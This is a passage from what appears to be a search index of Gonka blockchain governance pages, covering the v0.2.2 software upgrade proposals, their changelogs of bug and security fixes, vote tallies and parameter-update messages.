"}, {"location": "proposals/proposals/2025-q3/4/#changes", "title": "Changes", "text": ""}, {"location": "proposals/proposals/2025-q3/4/#exact-token-enforcement-in-completion-api-3f49d869d9b4d70b0c0ac8d783fec65745978592", "title": "Exact token enforcement in Completion API (3f49d869d9b4d70b0c0ac8d783fec65745978592)", "text": "In the previous version, api nodes passed generated text in the enforced_str parameter during inference validation. In some cases, the tokenization of the generated text might produce a different token sequence than the one originally generated. This is a low-probability issue, but when it occurs during inference validation, it breaks the metric computation between artifacts. The network was protected from incorrect validation by reporting inferences with non-matching tokenization as always valid.
This commit switches to enforcing the exact sequence of tokens that was generated and the exact top-k candidates, and it enables strict validation of the matching sequence.
"}, {"location": "proposals/proposals/2025-q3/4/#potential-vulnerability-in-post-v1participants-2927b241616ba08ae596dc1e029746f6c219c443", "title": "Potential vulnerability inPOST /v1/participants (2927b241616ba08ae596dc1e029746f6c219c443)", "text": "The POST /v1/participants API endpoint had a potential vulnerability. When it was called with empty address and pubkey fields, they were automatically filled with the node's owner account data.
Now, this process is simplified, and these fields are checked explicitly. A transaction is recorded only when the address does not yet exist on-chain.
"}, {"location": "proposals/proposals/2025-q3/4/#prevent-negative-coin-panics-in-keeper-flows-f0ed9b331b2a60a88d34bdc04dc503f61e81ad67", "title": "Prevent negative-coin panics in keeper flows (f0ed9b331b2a60a88d34bdc04dc503f61e81ad67)", "text": "This commit fixes possible panics caused by negative coin values. sdk.NewInt64Coin causes a panic if it receives a negative value. This change adds error checking for every instance where NewInt64Coin is used (except for a few in Genesis that can be ignored). It also adds a safe method for logging subaccount transactions to reduce the required boilerplate and moves from using uint64 in internal methods. In the future, uint64 should be used strictly at the edges (messages, APIs) only. The risk of 0 - 1 resulting in uint64.Max is real, and Go idioms generally avoid using unsigned integers.
801299d4bac47e5267451bdbebb9f46c6bc4c3b1)", "text": ""}, {"location": "proposals/proposals/2025-q3/4/#problem", "title": "Problem", "text": "During an epoch, a participant may legitimately miss validating some inferences due to network instability, hardware changes, or other temporary issues. Currently, once accounts are settled at an epoch transition, missed validations cannot be recovered. This leads to:
This change introduces a recovery mechanism that allows participants to \"catch up\" on missed validations after account settlement but before claiming their reward.
Now, before the actual claim, each participant: - Queries for any inferences it should have validated but did not. - Executes and submits any missed validations before submitting the claim transaction.
For such validations, participants receive validation credit (reputation / proof of compute) and still receive earned Bitcoin-style rewards. However, they do not receive a share of the work coin, since payment has already been settled.
If a late validation identifies an invalid inference: - Invalidation verification and voting still occur on the network. - If the inference is found to be invalid, the submitter's reputation is still penalized. However, the requester does not receive a refund, since funds have already been distributed and cannot be clawed back.
Further, the system might be improved by having participants perform regular validation recovery during the epoch and prohibiting validations after settlement entirely.
Additionally, this commit adds: - Validation will now be retried several times before giving up, in an attempt to reduce the need for recovering missed validations. - Proper filtering of models supported by a participant, to avoid attempting to validate models that are not supposed to be deployed on that participant's MLNode. This did not cause any errors previously but made the logic less clear.
"}, {"location": "proposals/proposals/2025-q3/4/#on-chain-mlnode-versioning-and-partial-upgrades-b2ef4fbe355431ad31d72b22aa062dce4892bfbd", "title": "On-chain MLNode versioning and partial upgrades (b2ef4fbe355431ad31d72b22aa062dce4892bfbd)", "text": "This commit introduces a mechanism for automatic on-chain upgrades of MLNode containers. The upgrade is enabled by:
Architecture Overview:
┌─────────────────┐ ┌──────────────┐ ┌─────────────────┐\n│ decentralized- │───▶│ ML Proxy │───▶│ MLNode v3.0.8 │\n│ api │ │ (NGINX) │ │ (old version) │\n└─────────────────┘ │ │ └─────────────────┘\n │ │ ┌─────────────────┐\n │ │───▶│ MLNode v3.0.10 │\n └──────────────┘ │ (new version) │\n └─────────────────┘\napi service fetches the version at startup and updates automatically when an upgrade height is reached.api stores the last-used MLNode version in its config. If the current version changes, it refreshes all MLNode clients and calls .stop() on the old version's clients.Name field was empty.api config.testermint integration tests to reduce flakiness.2845b898bd48b7203bd7f3302781faf4f160f900)", "text": "deploy/join/nginx.conf and proxy scripts for container networks.b7d7600ec49ced4dfbedf6c01305aa5205f8d78)", "text": "The previous version had a bug where identical nonces were taken into account when a node's weight was computed. This fix ensures nonces are deduplicated before weights are assigned.
"}, {"location": "proposals/proposals/2025-q3/4/#fix-preventing-generation-of-nonce-duplicates-1ae494372cb216046ab25ee179e3c21f392c5329", "title": "Fix: Preventing generation of nonce duplicates (1ae494372cb216046ab25ee179e3c21f392c5329)", "text": "Node.NodeNum and StartPoCNodeCommand.TotalNodes fields are used to guarantee a unique nonce sequence for each participant's MLNode. The previous version used len(nodesToDispatch) as the value for TotalNodes. At the same time, if a node is deleted and re-added in the same epoch, its NodeNum is determined by incrementing b.curMaxNodesNum. This can cause NodeNum to be greater than len(nodesToDispatch), which could break the uniqueness of nonce sequences.
This commit fixes this by using curMaxNodesNum as TotalNodes.
dee011bfbc41f43cefde0c64b1efc6746976e01e", "text": ""}, {"location": "proposals/proposals/2025-q3/4/#final-tally", "title": "Final Tally", "text": "Yes 109 (0.1%) No 0 (0.0%) Veto 109,637 (99.9%) Abstain 0 (0.0%) Total 109,746 votes"}, {"location": "proposals/proposals/2025-q3/4/#messages", "title": "Messages", "text": "# Type 1 /cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.2\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"512000\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.2-upgrade/inferenced-amd64.zip?checksum=sha256:ef72ce742f545a6d14d76cf90f72f13cd786b09a7191bf6f1a88e05d865074c0\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.2-upgrade/decentralized-api-amd64.zip?checksum=sha256:19659fb65acb0d21118024771a292c7b1ba70fc0627364e0911552797009a3c9\\\"\\n }\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis document outlines the proposed changes for the first on-chain software upgrade. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services and modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, please refer to /docs/upgrades.md.
Existing participants are not required to upgrade their api and node containers. The updated container versions are intended for new participants who join after the on-chain upgrade is complete.
Proposed Process: 1. Active participants review this proposal on GitHub. 2. Once the PR is approved by a majority, a v0.2.2 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted. 3. If the on-chain proposal is approved, this PR will be merged immediately after the upgrade is executed on-chain.
Creating the release from this branch (instead of main) is intended to minimize the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new participants.
The on-chain upgrade from version v0.2.0 to v0.2.2 has been successfully deployed and verified on the testnet.
We encourage all reviewers to request access to our testnet environment to validate the upgrade. Alternatively, reviewers can test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2025-q3/4/full-proposal/#migration-on-real-chain-data", "title": "Migration on real chain data", "text": "In addition to testnet validation, the migration logic is tested against a snapshot of mainnet data to ensure data integrity and a smooth transition. This procedure will be repeated immediately before the mainnet upgrade.
"}, {"location": "proposals/proposals/2025-q3/4/full-proposal/#changes", "title": "Changes", "text": ""}, {"location": "proposals/proposals/2025-q3/4/full-proposal/#exact-token-enforcement-in-completion-api-3f49d869d9b4d70b0c0ac8d783fec65745978592", "title": "Exact token enforcement in Completion API (3f49d869d9b4d70b0c0ac8d783fec65745978592)", "text": "In the previous version, api nodes passed generated text in the enforced_str parameter during inference validation. In some cases, the tokenization of the generated text might produce a different token sequence than the one originally generated. This is a low-probability issue, but when it occurs during inference validation, it breaks the metric computation between artifacts. The network was protected from incorrect validation by reporting inferences with non-matching tokenization as always valid.
This commit switches to enforcing the exact sequence of tokens that was generated and the exact top-k candidates, and it enables strict validation of the matching sequence.
"}, {"location": "proposals/proposals/2025-q3/4/full-proposal/#potential-vulnerability-in-post-v1participants-2927b241616ba08ae596dc1e029746f6c219c443", "title": "Potential vulnerability inPOST /v1/participants (2927b241616ba08ae596dc1e029746f6c219c443)", "text": "The POST /v1/participants API endpoint had a potential vulnerability. When it was called with empty address and pubkey fields, they were automatically filled with the node's owner account data.
Now, this process is simplified, and these fields are checked explicitly. A transaction is recorded only when the address does not yet exist on-chain.
"}, {"location": "proposals/proposals/2025-q3/4/full-proposal/#prevent-negative-coin-panics-in-keeper-flows-f0ed9b331b2a60a88d34bdc04dc503f61e81ad67", "title": "Prevent negative-coin panics in keeper flows (f0ed9b331b2a60a88d34bdc04dc503f61e81ad67)", "text": "This commit fixes possible panics caused by negative coin values. sdk.NewInt64Coin causes a panic if it receives a negative value. This change adds error checking for every instance where NewInt64Coin is used (except for a few in Genesis that can be ignored). It also adds a safe method for logging subaccount transactions to reduce the required boilerplate and moves from using uint64 in internal methods. In the future, uint64 should be used strictly at the edges (messages, APIs) only. The risk of 0 - 1 resulting in uint64.Max is real, and Go idioms generally avoid using unsigned integers.
801299d4bac47e5267451bdbebb9f46c6bc4c3b1)", "text": ""}, {"location": "proposals/proposals/2025-q3/4/full-proposal/#problem", "title": "Problem", "text": "During an epoch, a participant may legitimately miss validating some inferences due to network instability, hardware changes, or other temporary issues. Currently, once accounts are settled at an epoch transition, missed validations cannot be recovered. This leads to:
This change introduces a recovery mechanism that allows participants to \"catch up\" on missed validations after account settlement but before claiming their reward.
Now, before the actual claim, each participant: - Queries for any inferences it should have validated but did not. - Executes and submits any missed validations before submitting the claim transaction.
For such validations, participants receive validation credit (reputation / proof of compute) and still receive earned Bitcoin-style rewards. However, they do not receive a share of the work coin, since payment has already been settled.
If a late validation identifies an invalid inference: - Invalidation verification and voting still occur on the network. - If the inference is found to be invalid, the submitter's reputation is still penalized. However, the requester does not receive a refund, since funds have already been distributed and cannot be clawed back.
Further, the system might be improved by having participants perform regular validation recovery during the epoch and prohibiting validations after settlement entirely.
Additionally, this commit adds: - Validation will now be retried several times before giving up, in an attempt to reduce the need for recovering missed validations. - Proper filtering of models supported by a participant, to avoid attempting to validate models that are not supposed to be deployed on that participant's MLNode. This did not cause any errors previously but made the logic less clear.
"}, {"location": "proposals/proposals/2025-q3/4/full-proposal/#on-chain-mlnode-versioning-and-partial-upgrades-b2ef4fbe355431ad31d72b22aa062dce4892bfbd", "title": "On-chain MLNode versioning and partial upgrades (b2ef4fbe355431ad31d72b22aa062dce4892bfbd)", "text": "This commit introduces a mechanism for automatic on-chain upgrades of MLNode containers. The upgrade is enabled by:
Architecture Overview:
┌─────────────────┐ ┌──────────────┐ ┌─────────────────┐\n│ decentralized- │───▶│ ML Proxy │───▶│ MLNode v3.0.8 │\n│ api │ │ (NGINX) │ │ (old version) │\n└─────────────────┘ │ │ └─────────────────┘\n │ │ ┌─────────────────┐\n │ │───▶│ MLNode v3.0.10 │\n └──────────────┘ │ (new version) │\n └─────────────────┘\napi service fetches the version at startup and updates automatically when an upgrade height is reached.api stores the last-used MLNode version in its config. If the current version changes, it refreshes all MLNode clients and calls .stop() on the old version's clients.Name field was empty.api config.testermint integration tests to reduce flakiness.2845b898bd48b7203bd7f3302781faf4f160f900)", "text": "deploy/join/nginx.conf and proxy scripts for container networks.b7d7600ec49ced4dfbedf6c01305aa5205f8d78)", "text": "The previous version had a bug where identical nonces were taken into account when a node's weight was computed. This fix ensures nonces are deduplicated before weights are assigned.
"}, {"location": "proposals/proposals/2025-q3/4/full-proposal/#fix-preventing-generation-of-nonce-duplicates-1ae494372cb216046ab25ee179e3c21f392c5329", "title": "Fix: Preventing generation of nonce duplicates (1ae494372cb216046ab25ee179e3c21f392c5329)", "text": "Node.NodeNum and StartPoCNodeCommand.TotalNodes fields are used to guarantee a unique nonce sequence for each participant's MLNode. The previous version used len(nodesToDispatch) as the value for TotalNodes. At the same time, if a node is deleted and re-added in the same epoch, its NodeNum is determined by incrementing b.curMaxNodesNum. This can cause NodeNum to be greater than len(nodesToDispatch), which could break the uniqueness of nonce sequences.
This commit fixes this by using curMaxNodesNum as TotalNodes.
dee011bfbc41f43cefde0c64b1efc6746976e01e", "text": ""}, {"location": "proposals/proposals/2025-q3/5/", "title": "#5 – Expedite voting for upgrades", "text": "Passed
Proposal ID: 5
Type: Update Params
Submit: 2025-09-23 06:39 UTC
Voting: 2025-09-23 06:39 UTC → 2025-09-23 18:39 UTC
Expedited: Yes
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
View on gonka.gg
Expedite voting for upgrades
"}, {"location": "proposals/proposals/2025-q3/5/#final-tally", "title": "Final Tally", "text": "Yes 172,265 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 172,265 votes"}, {"location": "proposals/proposals/2025-q3/5/#messages", "title": "Messages", "text": "# Type 1/cosmos.gov.v1.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/cosmos.gov.v1.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"min_deposit\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"25000000\"\n }\n ],\n \"max_deposit_period\": \"10800s\",\n \"voting_period\": \"10800s\",\n \"quorum\": \"0.334000000000000000\",\n \"threshold\": \"0.500000000000000000\",\n \"veto_threshold\": \"0.334000000000000000\",\n \"min_initial_deposit_ratio\": \"0.000000000000000000\",\n \"proposal_cancel_ratio\": \"0.500000000000000000\",\n \"proposal_cancel_dest\": \"\",\n \"expedited_voting_period\": \"5400s\",\n \"expedited_threshold\": \"0.667000000000000000\",\n \"expedited_min_deposit\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"50000000\"\n }\n ],\n \"burn_vote_quorum\": false,\n \"burn_proposal_deposit_prevote\": false,\n \"burn_vote_veto\": true,\n \"min_deposit_ratio\": \"0.010000000000000000\"\n }\n }\n]\nPassed
Proposal ID: 6
Type: Software Upgrade
Submit: 2025-09-24 23:08 UTC
Voting: 2025-09-24 23:08 UTC → 2025-09-25 02:08 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/422dd37c36ad65bc3be2c84cd18a4d86e7ddec10/proposals/governance-artifacts/update-v0.2.2/README.md
View on gonka.gg
Upgrade Proposal: v0.2.2
"}, {"location": "proposals/proposals/2025-q3/6/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2025-q3/6/#upgrade-proposal-v022", "title": "Upgrade Proposal: v0.2.2", "text": "This document outlines the proposed changes for the first on-chain software upgrade. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services and modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, please refer to /docs/upgrades.md.
Existing participants are not required to upgrade their api and node containers. The updated container versions are intended for new participants who join after the on-chain upgrade is complete.
Proposed Process: 1. Active participants review this proposal on GitHub. 2. Once the PR is approved by a majority, a v0.2.2 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted. 3. If the on-chain proposal is approved, this PR will be merged immediately after the upgrade is executed on-chain.
Creating the release from this branch (instead of main) is intended to minimize the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new participants.
The on-chain upgrade from version v0.2.0 to v0.2.2 has been successfully deployed and verified on the testnet.
We encourage all reviewers to request access to our testnet environment to validate the upgrade. Alternatively, reviewers can test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2025-q3/6/#migration-on-real-chain-data", "title": "Migration on real chain data", "text": "In addition to testnet validation, the migration logic is tested against a snapshot of mainnet data to ensure data integrity and a smooth transition. This procedure will be repeated immediately before the mainnet upgrade.
"}, {"location": "proposals/proposals/2025-q3/6/#changes", "title": "Changes", "text": ""}, {"location": "proposals/proposals/2025-q3/6/#exact-token-enforcement-in-completion-api-3f49d869d9b4d70b0c0ac8d783fec65745978592", "title": "Exact token enforcement in Completion API (3f49d869d9b4d70b0c0ac8d783fec65745978592)", "text": "In the previous version, api nodes passed generated text in the enforced_str parameter during inference validation. In some cases, the tokenization of the generated text might produce a different token sequence than the one originally generated. This is a low-probability issue, but when it occurs during inference validation, it breaks the metric computation between artifacts. The network was protected from incorrect validation by reporting inferences with non-matching tokenization as always valid.
This commit switches to enforcing the exact sequence of tokens that was generated and the exact top-k candidates, and it enables strict validation of the matching sequence.
"}, {"location": "proposals/proposals/2025-q3/6/#potential-vulnerability-in-post-v1participants-2927b241616ba08ae596dc1e029746f6c219c443", "title": "Potential vulnerability inPOST /v1/participants (2927b241616ba08ae596dc1e029746f6c219c443)", "text": "The POST /v1/participants API endpoint had a potential vulnerability. When it was called with empty address and pubkey fields, they were automatically filled with the node's owner account data.
Now, this process is simplified, and these fields are checked explicitly. A transaction is recorded only when the address does not yet exist on-chain.
"}, {"location": "proposals/proposals/2025-q3/6/#prevent-negative-coin-panics-in-keeper-flows-f0ed9b331b2a60a88d34bdc04dc503f61e81ad67", "title": "Prevent negative-coin panics in keeper flows (f0ed9b331b2a60a88d34bdc04dc503f61e81ad67)", "text": "This commit fixes possible panics caused by negative coin values. sdk.NewInt64Coin causes a panic if it receives a negative value. This change adds error checking for every instance where NewInt64Coin is used (except for a few in Genesis that can be ignored). It also adds a safe method for logging subaccount transactions to reduce the required boilerplate and moves from using uint64 in internal methods. In the future, uint64 should be used strictly at the edges (messages, APIs) only. The risk of 0 - 1 resulting in uint64.Max is real, and Go idioms generally avoid using unsigned integers.
801299d4bac47e5267451bdbebb9f46c6bc4c3b1)", "text": ""}, {"location": "proposals/proposals/2025-q3/6/#problem", "title": "Problem", "text": "During an epoch, a participant may legitimately miss validating some inferences due to network instability, hardware changes, or other temporary issues. Currently, once accounts are settled at an epoch transition, missed validations cannot be recovered. This leads to:
This change introduces a recovery mechanism that allows participants to \"catch up\" on missed validations after account settlement but before claiming their reward.
Now, before the actual claim, each participant: - Queries for any inferences it should have validated but did not. - Executes and submits any missed validations before submitting the claim transaction.
For such validations, participants receive validation credit (reputation / proof of compute) and still receive earned Bitcoin-style rewards. However, they do not receive a share of the work coin, since payment has already been settled.
If a late validation identifies an invalid inference: - Invalidation verification and voting still occur on the network. - If the inference is found to be invalid, the submitter's reputation is still penalized. However, the requester does not receive a refund, since funds have already been distributed and cannot be clawed back.
Further, the system might be improved by having participants perform regular validation recovery during the epoch and prohibiting validations after settlement entirely.
Additionally, this commit adds: - Validation will now be retried several times before giving up, in an attempt to reduce the need for recovering missed validations. - Proper filtering of models supported by a participant, to avoid attempting to validate models that are not supposed to be deployed on that participant's MLNode. This did not cause any errors previously but made the logic less clear.
"}, {"location": "proposals/proposals/2025-q3/6/#on-chain-mlnode-versioning-and-partial-upgrades-b2ef4fbe355431ad31d72b22aa062dce4892bfbd", "title": "On-chain MLNode versioning and partial upgrades (b2ef4fbe355431ad31d72b22aa062dce4892bfbd)", "text": "This commit introduces a mechanism for automatic on-chain upgrades of MLNode containers. The upgrade is enabled by:
Architecture Overview:
┌─────────────────┐ ┌──────────────┐ ┌─────────────────┐\n│ decentralized- │───▶│ ML Proxy │───▶│ MLNode v3.0.8 │\n│ api │ │ (NGINX) │ │ (old version) │\n└─────────────────┘ │ │ └─────────────────┘\n │ │ ┌─────────────────┐\n │ │───▶│ MLNode v3.0.10 │\n └──────────────┘ │ (new version) │\n └─────────────────┘\napi service fetches the version at startup and updates automatically when an upgrade height is reached.api stores the last-used MLNode version in its config. If the current version changes, it refreshes all MLNode clients and calls .stop() on the old version's clients.Name field was empty.api config.testermint integration tests to reduce flakiness.2845b898bd48b7203bd7f3302781faf4f160f900)", "text": "deploy/join/nginx.conf and proxy scripts for container networks.b7d7600ec49ced4dfbedf6c01305aa5205f8d78)", "text": "The previous version had a bug where identical nonces were taken into account when a node's weight was computed. This fix ensures nonces are deduplicated before weights are assigned.
"}, {"location": "proposals/proposals/2025-q3/6/#fix-preventing-generation-of-nonce-duplicates-1ae494372cb216046ab25ee179e3c21f392c5329", "title": "Fix: Preventing generation of nonce duplicates (1ae494372cb216046ab25ee179e3c21f392c5329)", "text": "Node.NodeNum and StartPoCNodeCommand.TotalNodes fields are used to guarantee a unique nonce sequence for each participant's MLNode. The previous version used len(nodesToDispatch) as the value for TotalNodes. At the same time, if a node is deleted and re-added in the same epoch, its NodeNum is determined by incrementing b.curMaxNodesNum. This can cause NodeNum to be greater than len(nodesToDispatch), which could break the uniqueness of nonce sequences.
This commit fixes this by using curMaxNodesNum as TotalNodes.
dee011bfbc41f43cefde0c64b1efc6746976e01e", "text": ""}, {"location": "proposals/proposals/2025-q3/6/#paginator-fixes-ecdfb135773f1e4854468a0e7585bd54bfe1d9fd", "title": "Paginator fixes ecdfb135773f1e4854468a0e7585bd54bfe1d9fd", "text": "This PR fixes a critical issue where queries intended to fetch all items were silently truncated to the first 100 results due to default Cosmos SDK pagination settings. This could lead to incomplete data processing and inconsistent state.
"}, {"location": "proposals/proposals/2025-q3/6/#key-changes_1", "title": "Key Changes", "text": "SettleAccounts: Updated to read all participants directly from the store, which is more appropriate and efficient for on-chain logic. Added tests to make sure we're settling for all the participants in the state and not only for the first 100.get_participants_handler: Implemented manual per-page fetching for the public API endpoint. Queries are pinned to a specific block height to ensure data consistency across pages.GetPartialUpgrades: Corrected to use a new GetAllWithPagination utility, ensuring all partial upgrade plans are fetched from the chain.3ea3e5b5b1aa758e29741d5a5312dd41be10bf95)", "text": "The commit introduces multiple fixes and security improvements:
"}, {"location": "proposals/proposals/2025-q3/6/#missed-node_id-to-pocbatch-inference-chainxinferencekeepermsg_server_submit_poc_batchgo", "title": "Missednode_id to PoCBatch (inference-chain/x/inference/keeper/msg_server_submit_poc_batch.go)", "text": "node_id is used to detect which node produced the nonce's batch
node_id", "text": "inference-chain/x/inference/module/model_assignment.go distributed before batches without node_id between another nodes. As now all MLNodes returns node_id => that it not needed anymore
unassignedMLNodes from inference-chain/x/inference/module/model_assignment.go are not counted in total weight anymore Total weight of participant is recomputed after all filtering
Binom test inference-chain/x/inference/calculations/stats.go is now used for: - not pay reward if statistically signigicant > 10% of requests are missed (inference-chain/x/inference/keeper/accountsettle.go) - not pay claim if statistically signigicant > 10% of validations are missed (inference-chain/x/inference/keeper/msg_server_claim_rewards.go) instead of hard check for all validations
ACTIVE for all ActiveParticipant when switch epoch", "text": "inference-chain/x/inference/module/module.go:moveUpcomingToEffectiveGroup
inference-chain/x/inference/keeper/msg_server_start_inference.go inference-chain/x/inference/keeper/msg_server_finish_inference.go
c8e6aefcf88958f5f2968cc9f305e1d6c0028dcd)", "text": ""}, {"location": "proposals/proposals/2025-q3/6/#final-tally", "title": "Final Tally", "text": "Yes 130,079 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 130,079 votes"}, {"location": "proposals/proposals/2025-q3/6/#messages", "title": "Messages", "text": "# Type 1 /cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.2\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"517935\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.2-upgrade/inferenced-amd64.zip?checksum=sha256:a0d8117d0bd91bd1ebe537c54668101bd60550642516a8780de301ff46d46b4b\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.2-upgrade/decentralized-api-amd64.zip?checksum=sha256:c23f28918b28043a90e661575019ae0ad28c6b11d29a544e25bed3ff0f18caa7\\\"\\n }\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis document outlines the proposed changes for the first on-chain software upgrade. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services and modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, please refer to /docs/upgrades.md.
Existing participants are not required to upgrade their api and node containers. The updated container versions are intended for new participants who join after the on-chain upgrade is complete.
Proposed Process: 1. Active participants review this proposal on GitHub. 2. Once the PR is approved by a majority, a v0.2.2 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted. 3. If the on-chain proposal is approved, this PR will be merged immediately after the upgrade is executed on-chain.
Creating the release from this branch (instead of main) is intended to minimize the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new participants.
The on-chain upgrade from version v0.2.0 to v0.2.2 has been successfully deployed and verified on the testnet.
We encourage all reviewers to request access to our testnet environment to validate the upgrade. Alternatively, reviewers can test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2025-q3/6/full-proposal/#migration-on-real-chain-data", "title": "Migration on real chain data", "text": "In addition to testnet validation, the migration logic is tested against a snapshot of mainnet data to ensure data integrity and a smooth transition. This procedure will be repeated immediately before the mainnet upgrade.
"}, {"location": "proposals/proposals/2025-q3/6/full-proposal/#changes", "title": "Changes", "text": ""}, {"location": "proposals/proposals/2025-q3/6/full-proposal/#exact-token-enforcement-in-completion-api-3f49d869d9b4d70b0c0ac8d783fec65745978592", "title": "Exact token enforcement in Completion API (3f49d869d9b4d70b0c0ac8d783fec65745978592)", "text": "In the previous version, api nodes passed generated text in the enforced_str parameter during inference validation. In some cases, the tokenization of the generated text might produce a different token sequence than the one originally generated. This is a low-probability issue, but when it occurs during inference validation, it breaks the metric computation between artifacts. The network was protected from incorrect validation by reporting inferences with non-matching tokenization as always valid.
This commit switches to enforcing the exact sequence of tokens that was generated and the exact top-k candidates, and it enables strict validation of the matching sequence.
"}, {"location": "proposals/proposals/2025-q3/6/full-proposal/#potential-vulnerability-in-post-v1participants-2927b241616ba08ae596dc1e029746f6c219c443", "title": "Potential vulnerability inPOST /v1/participants (2927b241616ba08ae596dc1e029746f6c219c443)", "text": "The POST /v1/participants API endpoint had a potential vulnerability. When it was called with empty address and pubkey fields, they were automatically filled with the node's owner account data.
Now, this process is simplified, and these fields are checked explicitly. A transaction is recorded only when the address does not yet exist on-chain.
"}, {"location": "proposals/proposals/2025-q3/6/full-proposal/#prevent-negative-coin-panics-in-keeper-flows-f0ed9b331b2a60a88d34bdc04dc503f61e81ad67", "title": "Prevent negative-coin panics in keeper flows (f0ed9b331b2a60a88d34bdc04dc503f61e81ad67)", "text": "This commit fixes possible panics caused by negative coin values. sdk.NewInt64Coin causes a panic if it receives a negative value. This change adds error checking for every instance where NewInt64Coin is used (except for a few in Genesis that can be ignored). It also adds a safe method for logging subaccount transactions to reduce the required boilerplate and moves from using uint64 in internal methods. In the future, uint64 should be used strictly at the edges (messages, APIs) only. The risk of 0 - 1 resulting in uint64.Max is real, and Go idioms generally avoid using unsigned integers.
801299d4bac47e5267451bdbebb9f46c6bc4c3b1)", "text": ""}, {"location": "proposals/proposals/2025-q3/6/full-proposal/#problem", "title": "Problem", "text": "During an epoch, a participant may legitimately miss validating some inferences due to network instability, hardware changes, or other temporary issues. Currently, once accounts are settled at an epoch transition, missed validations cannot be recovered. This leads to:
This change introduces a recovery mechanism that allows participants to \"catch up\" on missed validations after account settlement but before claiming their reward.
Now, before the actual claim, each participant: - Queries for any inferences it should have validated but did not. - Executes and submits any missed validations before submitting the claim transaction.
For such validations, participants receive validation credit (reputation / proof of compute) and still receive earned Bitcoin-style rewards. However, they do not receive a share of the work coin, since payment has already been settled.
If a late validation identifies an invalid inference: - Invalidation verification and voting still occur on the network. - If the inference is found to be invalid, the submitter's reputation is still penalized. However, the requester does not receive a refund, since funds have already been distributed and cannot be clawed back.
Further, the system might be improved by having participants perform regular validation recovery during the epoch and prohibiting validations after settlement entirely.
Additionally, this commit adds: - Validation will now be retried several times before giving up, in an attempt to reduce the need for recovering missed validations. - Proper filtering of models supported by a participant, to avoid attempting to validate models that are not supposed to be deployed on that participant's MLNode. This did not cause any errors previously but made the logic less clear.
"}, {"location": "proposals/proposals/2025-q3/6/full-proposal/#on-chain-mlnode-versioning-and-partial-upgrades-b2ef4fbe355431ad31d72b22aa062dce4892bfbd", "title": "On-chain MLNode versioning and partial upgrades (b2ef4fbe355431ad31d72b22aa062dce4892bfbd)", "text": "This commit introduces a mechanism for automatic on-chain upgrades of MLNode containers. The upgrade is enabled by:
Architecture Overview:
┌─────────────────┐ ┌──────────────┐ ┌─────────────────┐\n│ decentralized- │───▶│ ML Proxy │───▶│ MLNode v3.0.8 │\n│ api │ │ (NGINX) │ │ (old version) │\n└─────────────────┘ │ │ └─────────────────┘\n │ │ ┌─────────────────┐\n │ │───▶│ MLNode v3.0.10 │\n └──────────────┘ │ (new version) │\n └─────────────────┘\napi service fetches the version at startup and updates automatically when an upgrade height is reached.api stores the last-used MLNode version in its config. If the current version changes, it refreshes all MLNode clients and calls .stop() on the old version's clients.Name field was empty.api config.testermint integration tests to reduce flakiness.2845b898bd48b7203bd7f3302781faf4f160f900)", "text": "deploy/join/nginx.conf and proxy scripts for container networks.b7d7600ec49ced4dfbedf6c01305aa5205f8d78)", "text": "The previous version had a bug where identical nonces were taken into account when a node's weight was computed. This fix ensures nonces are deduplicated before weights are assigned.
